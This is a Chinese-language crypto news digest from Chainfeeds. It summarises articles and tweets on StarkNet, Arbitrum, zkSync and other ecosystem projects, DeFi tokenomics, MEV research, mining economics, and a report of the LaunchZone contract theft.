    Chainfeeds 导读： 随着 Layer2 生态愈发成熟，项目间的竞争和用户的 fomo 带来的财富效应已经让 Layer2 Summer 呼之欲出。作为 Layer2 四大天王中估值最高（母公司 StarWare 估值 80 亿美金）的项目，StarkNet 生态项目的含金量不用多说，从近期的交易活跃度就可见一斑。Biteye 社区核心贡献者 Hankester 撰文介绍 StarkNet 及其生态内重点项目。 文章来源： https://mp.weixin.qq.com/s/YIcZx7DlIa6deDVYzMHFyw 文章作者： 0xHankester 观点： 0xHankester：钱包：1）Argent X：Argent 推出的首个支持 StarkNet 的钱包，利用 StarkNet 原生账户抽象实现多重签名和无助记词，同时实现更低的交易费用和更快的确认时间。2）Bravvos：致力于提供无缝 Web2.0 用户体验，可在 iOS、安卓及多种浏览器使用；跨链桥：1）StarkGate：StarkWare 开发的以太坊↔Starknet 官方跨链桥。2）Orbiter Finance：去中心化跨 Rollup 桥，允许用户在 ETH 主网、StarkNet、 zkSync、Arbitrum、Optimism、Polygon 等进行资产跨链。 内容来源 0xHankester：DeFi：1）10KSwap：旨在利用 rollup 提升 AMM 协议性能，为 L2 世界带来更低费用、更少摩擦及更好流动性。2）Nostra：去中心化借贷协议，支持闪电贷，原生稳定币 UNO。旨在构建 StarkNet 的流动性层，由 Nostra 货币市场、UNO、Nostra Swap 组成。3）ZKX：永续期货交易平台，旨在通过去中心化节点网络和升级交易体验提供进一步的可扩展性。 内容来源 0xHankester：DID：1）StarkNet.id：域名服务（.stark），让用户免费铸造去中心化身份并将数据附加到上面。2）WIW Protocol：注重隐私保护的链上身份协议，根据用户链上行为生成标签，帮助构建身份系统；NFT：1）Aspect ：StarkNet 生态首个 NFT 交易平台，交易量较小。2）Mint Square：致力于为用户提供更便宜、更快确认速度的 NFT 交易体验，同时部署在 zkSync Era 上，交易量略高于 Aspect； 内容来源 0xHankester：Game：1）cartridge.gg：链游集成平台，类似 Steam。2）Briq：3D 方块构建 NFT 类型链游，用户可以使用 Briqs 建造 ERC-1155 标准的 NFT、构建链游。3）Influence：沉浸式太空战略沙盒 MMO，代币 SWAY。玩家拥有专属小行星，通过操纵不同职业的船员，进行采矿、贸易、战斗等。4）Loot Realms：大型多人、链上可组合策略类游戏生态，代币 LORDS。 内容来源  ( 35 min )
    【播客】Smart Token Podcast｜EIP-5169：赋能代币的客户端脚本革命
    Chainfeeds 导读： Smart Token Labs 播客邀请 AlphaWallet 核心开发者 SeabornLi 分享关于 EIP-5169 的主题，包括：客户端的代币合约脚本 EIP-5169 及案例举例；EIP-5169 与 NFT 的结合能带来真正的权益和效用；EIP-5169 还可以应用于 DeFi 、传统平台的积分系统等不同场景以及其他有意思的 EIPs 提案。 文章来源： https://www.xiaoyuzhoufm.com/episode/642123a0179eec53316f4f28 文章作者： Smart Token Labs 中文 观点： ChainFeeds：播客重点摘录：1）EIP-5169 的核心是在 Token 上提供一个新的接口 ——Script URI，它可以指定一个脚本地址；2）这使得 Token 具有一定的功能，提高用户体验。通过 EIP-5169，NFT 可以拥有更多优势，如代表健身房会员卡、俱乐部会员卡或汽车钥匙等；3）此外，它还有助于传统品牌进行快速、方便、低成本的集成，实现无摩擦的集成；4）EIP-5169 将能促进 NFT 从简单的头像图片到线上线下商业场景的发展，推动区块链技术和去中心化能力应用于各个行业。【Powered by OpenAI/GPT-4】 内容来源  ( 2 min )
    【英文长推】Arbitrum 生态值得密切关注的 5 个代币
    Chainfeeds 导读： 自 Arbitrum 空投以来，TVL、费用和链上用户活动都处于历史高位。推特加密 KOL Thor Hartvigsen 深入分析了应该密切关注的 5 个顶级生态系统代币：PLS、GRAIL、GNS、RDNT 和 GMX。 文章来源： https://twitter.com/ThorHartvigsen/status/1639936782824538112 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）PLS（ARB 分配 270 万枚）：Plutus 是 Arbitrum 上 ARB、DPX、JONES、SPA 和 RDNT 的治理聚合器，已被委托超 1130 万枚 ARB，是 ARB 第三大委托主体。plsARB 和 plsRDNT 的流动资金池即将启动，pls V2 也越来越近；2）GRAIL（ARB 分配 220 万枚）：ARB 推出当天，Camelot 的 TVL 和成交量创历史新高，Arbitrum 上平均日交易量是 Uniswap 的 5%，有很大增长空间。【原文为英文】 内容来源 Thor Hartvigsen：3）GNS（ARB 分配 193 万枚）：平均而言，gTrade 的交易量是 GMX 的一半，但收入是其 2-3 倍。尽管去中心化永续利基市场有很大的竞争（Vela 和 Kwenta 等），但我相信 gTrade 会凭借其独特的流动性效率、交易对和 UI/UX 继续吸引交易者；【原文为英文】 内容来源 Thor Hartvigsen：4）RDNT（ARB 分配 335 万枚）：Radiant 通过 Stargate 和 LayerZero 实现全链流动性，提供独特的借贷市场。上周推出的 V2 对代币经济模型和激励机制进行了改进，添加了新资产以及跨链 EVM 扩展，向全链协议更进一步；5）GMX（ARB 分配 800 万枚）：GMX 大量的交易量为 GMX 质押者和 LP 创造了大量的费用分配，年初以来交易员 PnL 基本上为正。GMX V2 的推出、ARB 分配和强大的社区效应都值得关注。【原文为英文】 内容来源  ( 2 min )
    【长推】如何利用 Trader Joe 流动性池实现 ARB 年收益最大化
    Chainfeeds 导读： ARB 自上线以来持续引发大量关注，选择什么样的流动性池做 LP 才能收获可观的年化收益？加密研究员 Christian2022.eth 发推分享自己选择 Trader Joe 的原因。 文章来源： https://twitter.com/christianli2000/status/1640250672846356481 文章作者： Christian2022.eth 观点： Christian2022.eth：trader joe 在 arbitrum 上的流动性池主要分为 arb/eth 和 arb/usdc，分不同档位（手续费抽成不同）。相较于 usdc/arb 的池子，eth 和 arb 明显关联性更强，同时我个人持这两种资产中长期看多的观点，因此更加合适。 内容来源 Christian2022.eth：目前 trader joe 上 eth/arb 的池子仍然能维持在 230% 左右的年化，设置方法分为四种。我倾向选择 wide 也就是均分，原因是 arb 短期还是有波动的，wide 能省去一些繁琐步骤。追求收益最大化可以选择 spot，然后及时调整，但要付出滑点，所以要谨慎考虑。trader joe 池子可选的范围基本上是 10 个点以内，这意味着如果波动超过 10 个点，你的池子就会溢出，拿着满手单边资产。 内容来源 Christian2022.eth：所以拿 eth 和 arb 组池子拿手续费是目前我个人认为套利收益最高的，前提是相信这两类资产，长期看好 arb 链的发展价值。这个收益一定会变低，长期来看估计 50-80% 年化就不错了，但仍然跑赢其他生息手段，且稳健，我不担心拿任何一种资产到底。大家可以挑选 0.2% 和 0.8% 两个池子，收益可以复投，也可以拿在手里。 内容来源  ( 2 min )
    LaunchZone 早期合约 Bscex 漏洞致近 780 万美元被盗，受影响地址超 3.4 万个
    LaunchZone 早期合约 Bscex 漏洞致近 780 万美元被盗，受影响地址超 3.4 万个 据 Scam Sniffer 监测，BNB Chain 上项目 LaunchZone 的早期合约 Bscex SwapX 存在漏洞，早期批准该合约的用户面临风险。目前已有 7782060 美元资金被盗，34065 个受影响钱包地址，请用户尽快检查并撤销授权。 内容来源 观点： 余弦（慢雾创始人）：谁能想到 2～3 年前钱包地址授权的一个项目出漏洞，许多用户一直没取消授权，有黑客就不断监测这些存在授权风险敞口的钱包地址，一旦发现有资金就盗走... 已经超过 700 万美金被盗了。 内容来源
    【英文长推】Fantom 入门五问：运行方式、交易费用…
    Chainfeeds 导读： Vertical Blocks 发推整理 Andre Cronje 通过 Infinite AMA 回答的一些关于 FVM 和 Fantom 的问题，本文包括五个问题及相应回答。 文章来源： https://twitter.com/verticalblocks/status/1639098612784435204 文章作者： Vertical Blocks 观点： Vertical Blocks：1）FVM 会继承 EVM 的很多特性，比如智能合约的大小限制吗？随着存储方式的变化，不再有这种限制。2）FVM 会降低交易费用吗？从目前的基线来看，会大幅减少，但由于费用采用拍卖模式，所以这并不意味着在未来的某个时间点费用不会根据需求达到相同水平，而是说你可以用更少的 gas 执行更多的操作，这允许更复杂的互动。【原文为英文】 内容来源 Vertical Blocks：3）gas 货币化的交易手续费是怎么收取的？gas 费总额的 15% 将发送给指定的收件人。4）如果我将我的合约分成多个部分来帮助对抗 EVM 链的限制，它们是否仍然有资格进行 gas 货币化？是的，任何合约都有资格，即使分裂成许多子合约。5）除了减少存储大小和速度之外，FVM 的运行方式有何不同？首要目标是存储大小和速度，因为这可以转化为更复杂的代码原语。除了存储 / 速度之外，虚拟机中没有太多改进的地方。【原文为英文】 内容来源  ( 2 min )
    【英文长推】了解 Arbitrum 生态保证金交易和借贷协议 Dolomite：无限集成可能性？
    Chainfeeds 导读： Dolomite 是 Arbitrum 生态蓝筹协议，支持现货结算的保证金交易、借贷及现货交易。加密研究员 slappjakke.eth 就协议背景、协议流及可能的策略对 Dolomite 进行了概述。 文章来源： https://twitter.com/Slappjakke/status/1639291732503453696 文章作者： slappjakke.eth 观点： slappjakke.eth：Dolomite 具有高度可组合性，允许构建一些有趣的策略，例如 Delta 中性 Vaults、做空 IL、对冲 IL 等。此外，用户可以根据自己的需求开立任意数量的隔离及交叉保证金借款头寸，每个头寸最多包含 32 种资产。其初始版本由 Zeppelin Solutions 和 Bramah Systems 审计，最新的版本由 SECBIT Labs 审计。【原文为英文】 内容来源 slappjakke.eth：1）现货交易：在 Dolomite 内置 DEX 中交易现货资产、未来还将集成 DEX 聚合器；2）保证金交易：允许以高达 5 倍的杠杆开设保证金交易；3）存款：存入的资产可被借用；4）开设借贷金库：存入的资产作为抵押品添加至借贷金库中；5）借贷：使用抵押品借入资金；6）资金池：将资金存入一个 LP 开始赚取交易费用。【原文为英文】 内容来源 slappjakke.eth：可能的策略：1）存入 GLP 作为抵押品，借用 ETH 和 BTC，随后做空 ETH 和 BTC 以换取 USDC，提取 USDC，存入 GLP，重复进行；2）存入 GLP 作为抵押品，借用 USDC，存入更多的 GLP，重复操作直到达到想要的杠杆率；3）做空 IL：存入抵押品，借用 LP 代币，在 LP 波动后偿还 LP 代币，最后提取利润；4）对冲 IL：将 LP 作为抵押品存入银行，借用资产做空。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Ponzinomic 的最佳模式？一文解读最大化 LSD 回报的协议 0xAcid
    Chainfeeds 导读： 0xACID 旨在最大化 LSD 资产（如 stETH、rETH、frxETH 等）的回报，并提供远高于普通 LSD 资产（通常只有 4-5% APR）的回报。加密 KOL DeFi Made Here 从 Ponzinomic （旁氏经济学）的角度分析其代币模型，认为 0xAICD 和 OHM 相似，有着很好的 Ponzinomic，收益持续，代币价格会走低，但应该不会归零。 文章来源： https://twitter.com/DeFi_Made_Here/status/1637890740192673792 文章作者： DeFi Made Here 观点： DeFi Made Here：为什么 0xAcid 可以得到更高的回报？ 0xAcid 协议产生的所有利润以 $wstETH 的形式分配给锁仓 $ACID 的持有者。当 $ACID 锁仓 TVL 低于国库价值时，用户将始终获得更高的质押奖励。不止如此，收益还取决于锁定的长度（最多 1 年）和锁定的供应比例。锁定比例越低，奖励越高。目前，锁定的 $AICD 在 $wstETH 的年利率为 10-27%。【原文为英文】 内容来源 DeFi Made Here：$ACID 有 3 种方式进入市场：1）绑定，用户可以绑定 $ETH 并以折扣价获得 AICD，有效期为 36 小时。2）ACID-ETH 矿池的挖矿奖励在 Camelot 上年利率为 500%。3）esACID 归属：$ACID 质押者正在接收 esACID 奖励。要启动 esACID 归属，用户必须先投入 200% 的 $ ACID ，然后 esACID 代币将在 30 天内线性归属 $ACID 。 内容来源 DeFi Made Here：预期 $ACID 的价格会归零，真的会吗？我预计，由于高排放和绑定，$ACID 价格会走低，但不会因为两个简单的原因而归零。当 $ACID 市值低于国库时，用户将简单地购买「折扣 ETH 风险敞口」（购买 $ACID 无非就是获得 ETH+ 收益率的敞口）并提高收益率（即使 100% 的供应是锁定的 $ACID 产量将高于 $ETH 产量）。【原文为英文】 内容来源  ( 2 min )
    北大学生区块链中心研报丨 Web3 任务凭证平台研究
    Chainfeeds 导读： 在 Web3 迈向主流应用的过程中，Web3 任务凭证平台起到了新用户入门教育，进阶用户链上探索，以及项目方营销获客等作用。北大区块链协会的研究员 Chuan Lin 撰写研报分析对比几个主流的 Web3 任务凭证平台，认为在 toB toC 两个模式中做好平衡，进一步提高防女巫能力，并为用户设计由浅入深的有趣任务，可能是这类平台未来发展方向。 文章来源： https://pkublockchain.substack.com/p/web3 文章作者： Chuan Lin 观点： Chuan Lin：这类平台可以根据业务模式，可以分为 to C 和 to B 两种偏向。经过研究，我们发现对于纯 to C 模式，因为 C 端用户基本不会付费，平台甚至还要花费成本为用户提供奖励，其商业模式较难跑通；而对于纯 to B 模式，虽然项目方有付费意愿，但因其设计的任务主要为项目方获客和美化运营数据服务，操作繁琐且门槛高，能完成任务的大多为专业空投猎人和工作室而不是真实用户。 内容来源 Chuan Lin：To C 模式：1）RabbitHole，提供了较为详细的 Web3 链上操作入门教育，适合小白用户使用。2）Hooked，其开发的 Wild Cash app 曾在 Google Play Store 知识问答类别登顶，排名超过 TikTok 和 WhatsApp。To B+To C 模式：1）Layer3，任务难度较低一些，对不想花费太多资金的 Web3 初学者比较友好。2）DeQuest，专攻 GameFi 领域任务凭证平台，使用了大量游戏化的机制。3）Phi，平台既提供了入门学习类任务，也有特定项目方营销类任务，且这种将链上交互凭证做成道具的形式可以帮助用户打造自己的链上身份。 内容来源 Chuan Lin：To B 模式：1）Galxe，提供的任务基本都是特定项目任务，多如牛毛且较为繁琐，不适合 Web3 入门教育，但适合空投猎人和进阶选手积累链上交互记录。2）Quest3 上提供的任务基本都是特定项目任务，用户通过关注项目方推特，转推，加入 Discord，注册项目账号等任务，任务多为项目方营销获客设计。3）Quest3 上提供的任务基本都是特定项目任务，用户通过关注项目方推特，转推，加入 Discord，注册项目账号，项目知识答题等任务。任务多为项目方营销获客设计。 内容来源 Chuan Lin：4）Guild.xyz 是 Discord 生态的一个项目，主要功能是链接用户的钱包地址与 Discord 账号，通过读取钱包的交互记录或引导完成推特关注、转推等任务，给用户的 Discord 账号分配不同服务里的 roles（身份组）。5）POAP，即出席证明协议，项目方和品牌方使用该协议向参与线上 AMA 或者线下 IRL 活动的用户发放一个 NFT 以证明用户出席活动，起到营销的作用。 内容来源  ( 7 min )
    【长推】Geabox V3 或将于第二季度上线，有何值得期待的亮点功能？
    Chainfeeds 导读： DeFi 可组合型杠杆协议 Gearbox Protocol 此前公开了 V3 版本升级细节，并称 V3 将重新定义杠杆和借贷。加密研究员阿尔法新酱 | 0xShinChan 就 Gearbox 协议近期表现及 V3 升级亮点展开了叙述。 文章来源： https://twitter.com/0xShinChannn/status/1639932006246281216 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Gearbox Protocol 可以让用户在不同的协议，例如 Uniswap、Curve、Convex、Lido 等上进行杠杆。近期表现上，TVL 为 8600 万美元，完全摊薄估值为 1.5 亿美元，信用账户数量达 1300。此外，据 Token Terminal 报告，Gearbox Protocol 的年化收入增长了 260%，目前达到了 902000 美元。 内容来源 阿尔法新酱 | 0xShinChan：Gearbox V3 升级亮点：1）引入更多流动池选项：用户可以选择留在原有的「主流蓝筹借贷池」，或转到风险相对更高的「Alpha 借贷池」。随着新型借贷的推出，用户将可以成为贷款人，把年化收益提高至 10%；2） 减少借方和贷方的风险：每个列表当中的资产将设置额度门槛，以相应贷款池的基础资产计价。从该池借款的所有信贷账户在该资产上的敞口价值总和不能超过此限制； 内容来源 阿尔法新酱 | 0xShinChan：3）中心化交易所的功能体验：Gearbox 将在 V3 中推出不可变智能合约，实现多个中心化交易所的用户体验，并保持其无需信任、自我托管和可组合性等产品特特点，包括止损 / 获利订单、自动化策略和健康因素维护，从而为用户提供更安全、更高效的交易体验。此外，Gearbox 核心团队成员 Mugglesect 曾在推文表示 V3 合约目前正在审核当中，预计将在第二季度亮相。 内容来源  ( 2 min )
    DeFi 和 GameFi 中代币经济学的最新趋势
    Chainfeeds 导读： BNB Chain 研究员 HIRAYAMA SHO 基于过去的案例和现在主流的 DeFi 和 GameFi 模型，深入研究代币经济学的中期方向，认为 Web3 最好的经济模型还未找到，关键就是要理解 Web3 和传统游戏所认为的合理存在巨大差距。本文中文版由 Buidler DAO 编译。 文章来源： https://mp.weixin.qq.com/s/hvatcwE7sMNLZHaZlQrIUQ 文章作者： BNB Chain 观点： BNB Chain：现在和过去的模型：1）DeFi 和 GameFi 的双代币模型，其关键就是效用代币，例如 Maker、Terra，这两种机制都是将效用代币的价格不稳定性转移到备用代币的数量不稳定性。而 Axie 不同之处在于，它不通过售卖治理代币来稳定效用代币的价格，但是一旦超过了某个临界点，无法控制的恶性通胀就会出现并摧毁整个系统。主要 DeFi 产品的代币分配方式。大部分的通胀模型要么很简单，要么就是用了延迟通胀模型。 内容来源 BNB Chain：2）不可持续模型：根据手上现有的资金去调整之后的代币分配。这些不可持续的代币模型设计具有完全相反的价值生成循环，因为它需要从什么都没有创造出一些东西出来。3）NFT 经济学最新趋势：例如 Yuga，通过 NFT 销售来做特定的资金募集，依靠二级市场版税创造持续收入，围绕叙事展开社交媒体营销。不断增长的发行数量导致的价值稀释也通过对当前持有者的特惠待遇以及加密圈内外的市场营销被抵消了。 内容来源 BNB Chain：走向更好的代币经济学：1）特定应用链和 L2 势在必行 ，应用层必须建立一个不同于其他层的利润模型，重点在于独立运行且兼具 DeFi 功能的产品没有兼容性，或者不需要兼容性，将不可避免地迁移到它们自己开发的区块链或 L2 上。2）控制发行速度，代币的发行和分配必须根据游戏玩家的行为数据和满意度水平进行动态地和自发地调整。3）用户认知很重要，最重要的事情是提升用户体验。 内容来源  ( 33 min )
    【英文长推】TVL 达到 1.25 亿美元，一文解读 Radiant V2 版本新功能及其如何完善价值捕获机制
    Chainfeeds 导读： Radiant 凭借超过 1.25 亿美元的 TVL 巩固了自己作为 Arbitrum 上首选借贷平台的地位。加密研究员 DefiNapkin 撰推分析其 V1 版本存在的问题困境，介绍 V2 的新功能及其如何完善其价值捕获机制。 文章来源： https://twitter.com/definapkin/status/1639994394609856512 文章作者： DefiNapkin 观点： DefiNapkin：V1 版本存在的问题：不可持续的排放、提供链上流动性的低动力和激励唯利是图的资本。用户挖矿以获取高 APR，一旦 APR 下降就抛售。V2 功能改进：1）可持续的真实收益，$RDNT 现在只授予锁定 dLP 的用户，为了有资格获得增加的费用和 $RDNT 排放，用户必须锁定相对于其存款美元价值 5% 的 dLP，锁定期从 1-12 个月不等。该机制提供更可持续的真实收益，并增强 Radiant 的价值捕获机制以防止潜在的获利和倾销。【原文为英文】 内容来源 DefiNapkin：2）新的归属系统，用户可以在 90 天内获得其 100% $RDNT 收益，或提前退出，并根据已归属的期限支付 25% 至 90% 的线性罚款。3）代币经济学更新，V1 代币经济学的问题在于，借贷双方的排放量将在 2024 年 7 月的 24 个月后到期，V2 使用新的分配将排放延长至 5 年，将 Pool2 排放量重新分配给针对借贷双方的激励。【原文为英文】 内容来源 DefiNapkin：4）$RDNT 从 ERC-20 转移到 LayerZero 的 OFT-20 格式，支持跨链费用共享、在其他链上更快启动，以及桥接合约的原生所有权，而不是依赖第三方桥。结论：Radiant V2 的动态流动性和归属机制可持续地奖励协议增长的积极贡献者，并激励他们在更长的时间内保持承诺。其 V2 版本是 V1 的巨大改进。【原文为英文】 内容来源  ( 2 min )
    【英文长推】zkSync Era 主网上线，如何最大化 zkSync 空投资格？
    Chainfeeds 导读： zkSync Era 主网已公开发布并向所有人开放，这也意味着早期采用者将由机会获得空投资格。加密研究员 Emperor Osmo 列举了 8 个 zkSync 生态系统中能够通过互动获得空投资格的项目，包括项目简析及空投策略。 文章来源： https://twitter.com/Flowslikeosmo/status/1640005712477827073 文章作者： Emperor Osmo 观点： Emperor Osmo：1）ZigZag Exchange：ZK Rollup 去中心化订单簿式交易所，旨在为用户提供类似于中心化交易所的体验，目前已向超 10 万用户空投 ZZ 代币供应量的 34%；2）Orbiter Finance：去中心化跨 Rollup 桥，旨在无缝转移以太坊原生资产，于近期宣布整合 zkSync Era 主网；3）SyncSwap：由零知识技术驱动的 DEX，在利用了以太坊安全性的同时带来了易用性和低成本的 DeFi 体验，用户可以在 SyncSwap 上互换、赚取或提供流动性；【原文为英文】 内容来源 Emperor Osmo：4）Mintsquare：zkSync 生态第一个 NFT 市场，用户能够在无需支付高额费用的情况下铸造和交易 NFT 藏品；5）SpaceFi：跨链 Web3 平台，在提供 DEX 功能的同时还提供 NFT 交易及流动性挖矿；6）UniDex：zkSync 生态第一个永续 DEX，允许用户在加密资产、外汇、指数和 ETF 之间交易；7）Tevaera：正在 zkSync 上构建游戏生态系统，包括游戏、NFT、DEX；8）Mes Protocol：旨在通过构建一个统一的订单簿来实现可扩展性，通过从不同的 Rollup 中获取流动性为交易者提供最佳执行价格。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Placeholder 合伙人：我为什么坚定看好加密货币？
    Chainfeeds 导读： Placeholder VC 合伙人 Chris Burniske 撰文概述了自己对当前银行危机、监管、Balaji 赌注等大背景下关于加密货币的看法。Chris Burniske 表示将一如既往的支持加密货币，区块链是很重要的基础设施。 文章来源： https://twitter.com/cburniske/status/1640040127203364864 文章作者： Chris Burniske（Placeholder 合伙人） 观点： Chris Burniske（Placeholder 合伙人）：目前的银行危机对加密货币长期发展是有利的，短期内预计会有波动，但银行危机是由货币政策引起的，也将通过币政策解决。美联储和其他央行将会选择降息，正如市场预期的那样，将会使现有债券市场表现出现反弹。在我看来这场银行危机也由可能导致通货紧缩，而非恶性通货膨胀。【原文为英文】 内容来源 Chris Burniske（Placeholder 合伙人）：关于监管和立法，我认为加密货币开放和真实的数据系统将赢得胜利，这是必然的结果，以便我们在未来能够拥有一个坚实的数字底层。我一如既往的支持加密货币，区块链是很重要的基础设施，能够为某些社会问题提供解决方案，包括人工智能。【原文为英文】 内容来源  ( 2 min )
    【英文长推】MEVconomics 活动笔记：合并后 MEV 活动数据、以太坊协议前景、去中心化序列器和 PBS......
    Chainfeeds 导读： ETHGlobal 和 Flashbots 于上周五举办了 MEVconomics，邀请了很多加密领域优秀研究员和构建者共同探索 MEV 领域问题，包括 Jon Charbonneau、Vitalik Buterin、John Adler 等。加密研究员 Tarun's intern 对该活动的演讲内容进行了简要概述。 文章来源： https://twitter.com/TarunsIntern/status/1640068426881462272 文章作者： Tarun's intern 观点： Tarun's intern：1）加密基金 DBA 联创 Jon Charbonneau 关于「MEV 联盟状况」的演讲，包括 MEV 供应链的关键创新、相较于 PBS 将所有东西都载入至协议，外部承诺更具优势等内容；2）Flashbots 数据研究员 E.Hu 关于「合并后 MEV 活动数据」的演讲，大部分提议的区块都是在最后两秒内提交的，延迟战争被凸显；3）以太坊联合创始人 Vitalik Buterin 关于「协议经济学：以太坊协议的前景」，包括即将到来的变化等内容； 内容来源 Tarun's intern：4）Flashbots 战略负责人 Hasu 关于「去中心化序列器和 PBS」的演讲，包括如今 L2 存在的问题、如何解决跨域 MEV 等内容；5）davidecrapis.eth、barnabe.eth 及 Justin Ðrake 关于「ETH 经济学与 MEV 经济学的结合」围炉谈话，包括 MEV 流、有弹性的 MEV 系统、MEV 优先权及协议可信度等问题； 内容来源 Tarun's intern：6）Celestia 联合创始人 John Adler 关于「MEV 经济学」的演讲；7）EigenLayer 创始人 Sreeram Kannan 关于「MEV 及重质押」的演讲，包括使用重质押的用例及一些 MEV 生态系统中的潜在风险和解决措施；8）Jon Charbonneau 主持了 EigenLayer 创始人 Sreeram Kannan、Robot Ventures 的 Tarun Chitra 、Espresso Systems CEO Ben Fisch 及 Flashbots 战略负责人 Hasu 关于「流动性和重质押协议」的讨论，包括 Eigenvector 这样的自由市场是否会给验证者带来不劳而获的治理权利及共享排序器 Rollup 的价值等问题。 内容来源  ( 2 min )
    【英文长推】EigenLayer 创始人：解析「重质押」用例及 MEV 生态系统潜在风险
    Chainfeeds 导读： 本文是 EigenLayer 创始人 Sreeram Kannan 在 ETHGlobal 和 Flashbots 联合举办的 MEVconomics 活动上的演讲总结，主要包括使用重质押的用例及一些 MEV 生态系统中的潜在风险和解决措施。 文章来源： https://twitter.com/sreeramkannan/status/1639455207309340673 文章作者： Sreeram Kannan（Eigenlayer 创始人） 观点： Sreeram Kannan（Eigenlayer 创始人）：1）事件驱动激活：区块提议者选择并承诺触发任何交易以应对特定状态变化，例如用户抵押品比率低于阈值，可以要求重新填充抵押品；2）部分区块拍卖：区块提议这可以做出可信承诺出售部分区块空间，如果违反了承诺，则会被 Slash。这恢复了 MEV-Boost 架构中的提议者代理和审查阻力，同时也允许区块提议者内化最后一秒的 MEV。【原文为英文】 内容来源 Sreeram Kannan（Eigenlayer 创始人）：3）阈值加密：允许类似 Shutter Network 的解决方案帮助向以太坊 L1 提供信任，提议者可以承诺包括阈值加密的交易，如果不遵守承诺将被 Slash；4）Long-term 区块拍卖：适用于需要保证访问区块空间的 DApp，但这种设计具有复杂性，因为我们需要知道区块空间的买方是否及时交付了交易。【原文为英文】 内容来源 Sreeram Kannan（Eigenlayer 创始人）：如果我们将以上所有想法都结合至一个模块化 MEV 堆栈中，可以实现的通道包括：允许 DApp 通过预先预定 DEX 之间的套利内化 MEV、让统计学家参与区块构建、用户得到保护，不受三明治攻击影响。验证者可以表达审查阻力。而维持这个复杂 MEV 系统的方式是让提议者决定参与哪些通道，继而向中继器和构建者传达。【原文为英文】 内容来源  ( 2 min )
    【英文】Glassnode：比特币生产成本调查，以及挖矿市场周期性指标推导
    Chainfeeds 导读： 挖矿群体代表了比特币的生产方，该行业以电力、资本支出和运营支出（法定货币计价的成本）竞标比特币（比特币计价的收入）。Glassnode 撰文探讨矿工盈利能力与发行量之间的动态关系，并推导出几个描述挖矿市场周期性的指标，表明难度调整算法确实在算力供应和比特币需求之间寻求近乎完美的平衡。 文章来源： https://insights.glassnode.com/investigating-the-production-cost-of-bitcoin/ 文章作者： glassnode 观点： glassnode：1）算力生成：哈希率可以被视为采矿参与度和车队中运行的 ASIC 钻机的生成效率的综合表达，总哈希率反映了许多独特且地理位置分散的挖矿策略。在整个 2022-23 时代，算力增长一直徘徊在每年 30% 至 50% 左右。2）难度调整：难度重新定位算法在矿工的行为和新币的发行之间建立了动态关系，其中更高的协议难度意味着每单位 BTC 的生产成本增加。从长期来看，BTC 的生产成本不断接近普通矿工的盈亏平衡价格。【原文为英文】 内容来源 glassnode：3）生产成本建模：难度回归模型是一种估算单位 BTC 生产总维持成本的方法，可以利用这个难度回归模型的结果，并将这个价格乘以发行的 BTC 供应量，得到总生产成本的近似值。由此可以定义一个新的指标来描述采矿业的平均运营效率，方法是将产生的收入与估计的总生产成本进行比较。指标 > 100% 表示采矿业盈利，收入成本比通常在牛市高峰期附近观察到超过 350%；内容来源 glassnode：4）追踪挖矿周期动量：收入成本比与其年度移动平均值之间的比率，提供反映行业盈利能力周期性势头的指标。当矿工收入势头大于 0 时，表明采矿业的收入倍数相对于年平均水平有所提高当；小于 0 时，表明采矿业的收入倍数相对于年平均水平正在恶化。5）累计收入与所有时间成本：Thermocap 和交易费用可以被认为是矿工的已实现收入，而难度生产成本被认为是总的挖矿投入费用。47% 的交易日矿工收入超过每日生产成本，平均 53% 的交易日对矿工来说是无利可图的。【原文为英文】 内容来源  ( 6 min )
    【英文】Nansen 周报：ETH 持有者活动、对 Arbitrum 生态早期投资者活动的链上调查、$USDC 脱钩事件以及宏观见解
    Chainfeeds 导读： Nansen 官方整理其一周研究文章，涵盖 $ETH 散户和鲸鱼持有者的活动、对早期 $MAGIC 和 $GRAIL 参与者的调查，以及 $USDC 脱钩事件和宏观见解。 文章来源： https://www.nansen.ai/post/weekly-research-roundup 文章作者： Nansen 观点： Nansen：1）鲸鱼与散户：追踪整个市场的 ETH 持有情况‍，截至 3 月 20 日，持有少于 100 ETH 的地址，自 2022 年以来减少了 37.35%。然而，在价格上涨的同时，持有不到 1 个 ETH 的散户地址，在今年全年增加了 18.86%。2）大多数 「早期 MAGIC 矿工 」地址已经获利或将其资本转移到另一个钱包。留在同一个钱包中的平均净头寸规模为 20%。在这 200 个地址中，有 127 个仍然持有 MAGIC，总持仓量为 1800 万美元。【原文为英文】 内容来源 Nansen：3）62.7% 的早期 GRAIL 参与者已经退出了他们的 GRAIL 和 xGRAIL 头寸，其中一些人的投资回报率达到了 20 倍。这些地址共持有 650 万美元的 GRAIL，并对各种 Arbitrum 生态系统的代币有大量投资。4）美国联邦储备局正在使用新的工具来帮助银行获得短期流动性。中央银行现在不得不同时担心通货膨胀和快速加息的负面影响。5）USDC 脱钩：3 月 10 日至 15 日期间，超过 44 亿美元的 USDC 被赎回，Coinbase 用户是最大的赎回者。由于对其偿付能力的担心增加，USDC 跌至 0.88 美元的低点。【原文为英文】 内容来源  ( 4 min )
    官方解读 zkSync Era 叙事四大亮点：原生账户抽象、LLVM 编译器、数据压缩及超可扩展性
    Chainfeeds 导读： 上周五 zkSync 宣布主网 zkSync Era 将以无许可的方式全面开放，供所有人使用，这也标志着 zkSync Era 和以太坊达成了一个重要里程碑。本文由 zkSync 团队撰写，主要概述了 zkSync Era 独特架构的四大亮点。中文版本由 Odaily 编译发布。 文章来源： https://www.odaily.news/post/5186004 文章作者： zkSync∎ 观点： zkSync∎：1）原生账户抽象：zkSync Era 从创建开始就使用了本地账户抽象，与 EVM 兼容的其他 Zk-Roullup 不同，zkSync 账户抽象将每个账户变成一个具有自己逻辑的智能合约，这种无缝兼容性提升了加密货币的安全性和易用性；2）强大的 LLVM 编译器：zkSync Era 通过优化内部虚拟机以获得最高的 ZK 证明者性能，而不是 EVM 等效性。zkSync 为 EVM 语言（Solidity、Vyper、Yul）构建了一个基于 LLVM 的编译器； 内容来源 zkSync∎：3）数据压缩：zkSync Era 通过发布状态差异而不是交易输入解决数据可用性问题，该解决方案能为 Layer2 带来很多优势，包括数据压缩、更频繁的预言机更新、更低成本的隐私保护等；4）超可扩展性：zkSync Era 所有功能都将是最终实现超可扩展性的关键组成部分。 内容来源  ( 6 min )
